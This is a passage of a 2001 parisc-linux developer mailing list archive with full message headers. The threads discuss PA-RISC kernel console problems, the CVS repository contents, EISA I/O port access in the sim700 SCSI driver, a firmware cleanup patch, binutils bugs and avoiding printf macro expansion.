Date: Tue, 3 Apr 2001 22:34:41 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619997 17540 80.91.229.3 (22 Nov 2014 01:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:17 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 15:34:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 819E7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 15:34:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kYRl-00013b-00; Tue, 03 Apr 2001 22:34:41 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AC973D3.F1453A4C@alcatel.at>; from christoph.plattner@alcatel.at on Tue, Apr 03, 2001 at 08:55:15AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10668

On Tue, Apr 03, 2001 at 08:55:15AM +0200, Christoph Plattner wrote:
> With the file system of ESIEE, I always have the problem, that 
> my machine hangs, before init does any output !
> 
> I also have selfmade stuff, I will see, what will run on that
> machine.

have you looked at all the followups to the esiee announcement noting
the problems with it?  i suspect it's switching to STI console.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS Repository @ puffin - contents ?
Date: Wed, 04 Apr 2001 00:03:02 +0200
Organization: private
Lines: 28
Approved: news@gmane.org
Message-ID: <3ACA4896.1D6E4275@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619997 17543 80.91.229.3 (22 Nov 2014 01:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 16:03:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1683C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 16:03:14 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010403220302.KBBA19423.viemta06@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 4 Apr 2001 00:03:02 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10669

Hello Puffin Group and PARISC hackers !

Is there a list of repository modules or trees ?

I know 
	binutils
	gcc
	linux
	palo
	glibc
	starce
	userspace/sash-3.4 and some others

Is there more to fetch ?
Can I have a list or find out with CVS ?
Like fileutils, util-linux, etc, etc ,etc.....

Cheers
	Christoph P.


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS Repository @ puffin - contents ?
Date: Tue, 03 Apr 2001 16:08:41 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20010403220841.2F134380ED@carmen.fc.hp.com>
References: <3ACA4896.1D6E4275@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619998 17545 80.91.229.3 (22 Nov 2014 01:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 16:06:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C043482A
	for <parisc-linux@parisc-linux.org>; Tue,  3 Apr 2001 16:06:24 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 8A600C5B; Tue,  3 Apr 2001 18:06:06 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 2F134380ED; Tue,  3 Apr 2001 16:08:41 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 04 Apr 2001 00:03:02 +0200."
             <3ACA4896.1D6E4275@dot.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:10670

Christoph Plattner writes...

> Hello Puffin Group and PARISC hackers !
> 
> Is there a list of repository modules or trees ?

Use bonsai to browse the CVS repository,

http://puffin.external.hp.com/bonsai/rview.cgi

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS Repository @ puffin - contents ?
Date: Tue, 3 Apr 2001 23:08:07 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010403230807.B11435@parcelfarce.linux.theplanet.co.uk>
References: <3ACA4896.1D6E4275@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619998 17546 80.91.229.3 (22 Nov 2014 01:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 16:08:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68275482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 16:08:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kYy7-0001kb-00; Tue, 03 Apr 2001 23:08:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3ACA4896.1D6E4275@dot.at>; from christoph.plattner@dot.at on Wed, Apr 04, 2001 at 12:03:02AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10671

On Wed, Apr 04, 2001 at 12:03:02AM +0200, Christoph Plattner wrote:
> Is there a list of repository modules or trees ?

try http://puffin.external.hp.com/cvs/

if you haven't seen commits to some of those repositories on the
cvs lists for a while they're probably dead.  modutils is obsolete
(integrated upstream), binutils will be once 2.11 comes out.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request_region()
Date: Tue, 03 Apr 2001 17:57:22 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <200104032357.RAA18650@puffin.external.hp.com>
References: <20010403100502.K9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619998 17550 80.91.229.3 (22 Nov 2014 01:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 18:03:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7900A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 18:03:34 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA18650;
	Tue, 3 Apr 2001 17:57:22 -0600
In-Reply-To: Your message of "Tue, 03 Apr 2001 10:05:02 BST."
             <20010403100502.K9198@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10672

Richard Hirst wrote:
> Yep, that make sense.  Does mean sim700.c will have to make runtime
> decisions whether to use raw_read (for the on-board 53c700) or inb
> (for one on an EISA card), on my 715, but that is no big deal.

Someone (willy or prumpf?) told me Linus (and/or perhaps others)
have rejected such "automagic" redirection of IO space access functions.
IIRC, the reason was complexity and extra CPU cycles.
But it seems any multibus driver ends up doing it on its own anyway.

I was thinking perhaps the sim700 driver could be compiled
*twice* to produce two binaries from the same source. One flavor
to access devices which use MMIO and the other flavor would claim
devices which only use IO port space. Thoughts?

> EISA allocates 0x1000 bytes per slot, with a four (?) byte signature
> at offset 0xc80 (IIRC) to identify the cards.  At least, that is
> how my old Compaq works, with first slot at 0x1000.  Seems to tie
> up address-wise, at least:
> 
> 10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76, 0x0, 0x
>   0
> 11. Unknown device (10) at 0xfc001000, versions 0x0, 0x0, 0xfff, 0x0, 0x0

Interesting the SCSI device is reported at 0xfc... address.
If that's an IO port space address, it would be nice if the
EISA bus code could mask off the upper 16 bits so the drivers only
see "0x1000". (HBA # is 0 unless more than one EISA BA needs to be
supported).

> Again, IIRC, last time I played with the EISA slot on my 715 I
> found the EISA 53c700 couldn't access main memory, and EISA interrupts
> were not routed to the CPU.  The driver could access the chip registers
> though.  But that was all a long time ago, so things may be different
> now.

EISA 53c700 should be able to access main memory but I don't think
the interrupt routing stuff has been resolved yet. Poke Alex DeVries
some more.  :^)

later,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Tue, 3 Apr 2001 18:03:44 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20010403180344.A6792@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619999 17555 80.91.229.3 (22 Nov 2014 01:33:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 18:04:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id BF307482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 18:04:41 -0600 (MDT)
Original-Received: (qmail 44766 invoked by alias); 4 Apr 2001 00:04:07 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 43856 invoked by uid 0); 4 Apr 2001 00:03:45 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 4 Apr 2001 00:03:45 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14kam0-0001m0-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 03 Apr 2001 18:03:44 -0600
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
Xref: news.gmane.org gmane.linux.ports.parisc:10673

Anyone see a problem with committing this patch?

- Ryan

----- Forwarded message from Ryan Bradetich <rbrad@beavis.ybsoft.com> -----

Envelope-to: root@amanda.ybsoft.com
From: "Ryan Bradetich" <rbrad@beavis.ybsoft.com>
To: parisc-linux@lists.parisc-linux.org
Reply-To: rbradetich@uswest.net
X-UIDL: 985854046.7659.154121.boispop1.bois.uswest.net
Subject: [parisc-linux] [PATCH] PDC cleanup and encapsulation
X-Mailman-Version: 1.1
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org

Hello parisc-linux hackers,

This is a fairly extensive patch which (almost) finishes the PDC cleanups I
have been working on.  The goal of this patch was to add kernel-docs and
encapsulate the firmware calls so the caller does not have to worry about
alignment issues, etc.

The last PDC/firware cleanup I have on my list is to rename asm/pdc.h
to firmware.h.  This will be a seperate patch after this patch has been
reviewed/approved/committed.

I have tested this patch on the following machines:
	- 712/80 using STI console
	- C200 32-bit kernel using serial console
	- A500 64-bit kernel using serial console

Since the majority of the changes are in firmware.c and pdc.h
I have included include those files in their entirity to make
them easier to read.

As always, feedback, concerns, and questions are welcome.

Thanks,

- Ryan

[patch snipped]
Origional message can be found at:

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/012108.html





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request_region()
Date: Wed, 4 Apr 2001 01:10:42 +0100 (BST)
Lines: 42
Approved: news@gmane.org
Message-ID: <E14kaso-0000m3-00@the-village.bc.nu>
References: <200104032357.RAA18650@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619999 17560 80.91.229.3 (22 Nov 2014 01:33:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:19 +0000 (UTC)
Cc: rhirst@linuxcare.com (Richard Hirst),
	parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 18:09:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id B101C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 18:09:15 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14kaso-0000m3-00; Wed, 4 Apr 2001 01:10:46 +0100
In-Reply-To: <200104032357.RAA18650@puffin.external.hp.com> from "Grant Grundler" at Apr 03, 2001 05:57:22 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10674

> Someone (willy or prumpf?) told me Linus (and/or perhaps others)
> have rejected such "automagic" redirection of IO space access functions.
> IIRC, the reason was complexity and extra CPU cycles.
> But it seems any multibus driver ends up doing it on its own anyway.

Some drivers do this andit works out fine. The real reason for suggesting
people generally avoid it is the cost of all the conditions and stuff.

If its done intelligently its not a problem because driver authors write

	if(dev->bus==GSC)
	{
		for(i=0;i<256;i++)
			*b++=raw_readl(foo+i);
	}
	else
	{
	}

not

	for(i=0;i<256;i++)
		*b++=magic_readl(foo+i);

The latter produces pretty hideous efficiency as you can imagine

> I was thinking perhaps the sim700 driver could be compiled
> *twice* to produce two binaries from the same source. One flavor
> to access devices which use MMIO and the other flavor would claim
> devices which only use IO port space. Thoughts?

In some cases that may be appropriate, eg if both devices are almost never
found in the same box.

One final comment. Every rule Linus makes you can get him to ignore if you have
a good case for it.

Alan





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request_region()
Date: Tue, 03 Apr 2001 18:25:54 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200104040025.SAA18848@puffin.external.hp.com>
References: <20010403174156.U11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619999 17565 80.91.229.3 (22 Nov 2014 01:33:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 18:31:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69EB5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 18:31:46 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA18848;
	Tue, 3 Apr 2001 18:25:54 -0600
In-Reply-To: Your message of "Tue, 03 Apr 2001 17:41:56 BST."
             <20010403174156.U11435@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10675

Matthew Wilcox wrote:
> i think sim700.c should be using ioremap / readX / writeX instead
> of raw_read.  Is the EISA scsi really only accessible via port io?

Yes.

> I would have throught that it would be memory mapped, in which case
> there's no need to have a macro to access it.

IO Port space is memory mapped but not in a linear fashion (afaik).
My understanding is the IO port space is mapped 4 bytes per MMIO page.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Beattie <steve@wirex.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building packages, problems with printf
Date: Tue, 3 Apr 2001 18:47:00 -0700
Organization: WireX Communications, Inc.
Lines: 51
Approved: news@gmane.org
Message-ID: <20010403184700.A8618@wirex.net>
References: <20010325220223.G31126@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620000 17567 80.91.229.3 (22 Nov 2014 01:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 19:47:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from kryten.int.wirex.com (unknown [216.161.55.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57474482A
	for <parisc-linux@parisc-linux.org>; Tue,  3 Apr 2001 19:47:09 -0600 (MDT)
Original-Received: (from steve@localhost)
	by kryten.int.wirex.com (8.11.0/8.11.0) id f341l1c08765
	for parisc-linux@parisc-linux.org; Tue, 3 Apr 2001 18:47:01 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Mon, Mar 26, 2001 at 09:03:34AM +1000
X-phase-of-the-moon: The Moon is Waxing Gibbous (69% of Full)
Xref: news.gmane.org gmane.linux.ports.parisc:10676

On Mon, Mar 26, 2001 at 09:03:34AM +1000, Alan Modra wrote:
> On Sun, 25 Mar 2001, Matthew Wilcox wrote:
> 
> > Something we've been running into when building packages is the problem
> > that printf is defined as a macro when using gcc 2.97.  This should be
> > resolved by doing the following:
> > 
> > #include <stdio.h>
> > #undef printf
> 
> That's cheating!  The real fix is to turn
> 
> printf (foo_string,
> #if SOMETHING
> abc_param
> #else
> xyz_param
> #endif
> );
> 
> into
> 
> #if SOMETHING
> printf (foo_string, abc_param);
> #else
> printf (foo_string, xyz_param);
> #endif

Actually, another solution is:

(printf) (foo_string,
#if SOMETHING
abc_param
#else
xyz_param
#endif
);

The parentheses surrounding printf prevent macro expansion -- the C
standard explicitly states that it must. We discovered this in the
course of developing FormatGuard, a patch to glibc that turns printf
and the like into macros as a means of preventing format string attacks
(see http://www.immunix.org/formatguard.html for details).

-- 
Steve Beattie                               Don't trust programmers? 
<steve@wirex.net>                         Complete StackGuard distro at
http://immunix.org/~steve/                         immunix.org




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS Repository @ puffin - contents ?
Date: Wed, 4 Apr 2001 12:37:11 +1000 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104041228560.13605-100000@front.linuxcare.com.au>
References: <20010403230807.B11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620000 17570 80.91.229.3 (22 Nov 2014 01:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:20 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 20:37:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 692A3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 20:37:51 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA19095;
	Wed, 4 Apr 2001 12:37:11 +1000
In-Reply-To: <20010403230807.B11435@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10677

On Tue, 3 Apr 2001, Matthew Wilcox wrote:

> if you haven't seen commits to some of those repositories on the
> cvs lists for a while they're probably dead.  modutils is obsolete
> (integrated upstream), binutils will be once 2.11 comes out.

That was true a few days ago.  binutils may yet need to be resurrected
because 2.11 will have the -Bsymbolic bug, I'm afraid.  The fix for the
-Bsymbolic bug involves a patch to bfd/elflink.h, which is used by all ELF
targets.  I don't particularly want to be responsible for accidentally
breaking the 2.11 release for all ELF targets...

Alan
-- 
Linuxcare





From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Wed, 04 Apr 2001 09:08:23 +0200
Organization: AAA
Lines: 35
Approved: news@gmane.org
Message-ID: <3ACAC867.25327463@alcatel.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620000 17572 80.91.229.3 (22 Nov 2014 01:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:20 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 01:08:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3ED76482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 01:08:54 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id JAA22220;
	Wed, 4 Apr 2001 09:08:23 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10678

Hello,

Matthew Wilcox wrote:
> 
> On Tue, Apr 03, 2001 at 08:55:15AM +0200, Christoph Plattner wrote:
> > With the file system of ESIEE, I always have the problem, that
> > my machine hangs, before init does any output !
> >
> > I also have selfmade stuff, I will see, what will run on that
> > machine.
> 
> have you looked at all the followups to the esiee announcement noting
> the problems with it?  i suspect it's switching to STI console.

Although I definitely write

	console=ttyS0

as kernel parameter ?

Cheers
	Christoph P.

> 
> --
> Revolutions do not require corporate support.

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS Repository @ puffin - contents ?
Date: Wed, 04 Apr 2001 09:12:19 +0200
Organization: AAA
Lines: 39
Approved: news@gmane.org
Message-ID: <3ACAC953.44EFFFE2@alcatel.at>
References: <3ACA4896.1D6E4275@dot.at> <20010403230807.B11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620001 17574 80.91.229.3 (22 Nov 2014 01:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:21 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: Matthew Wilcox <matthew@wil.cx>
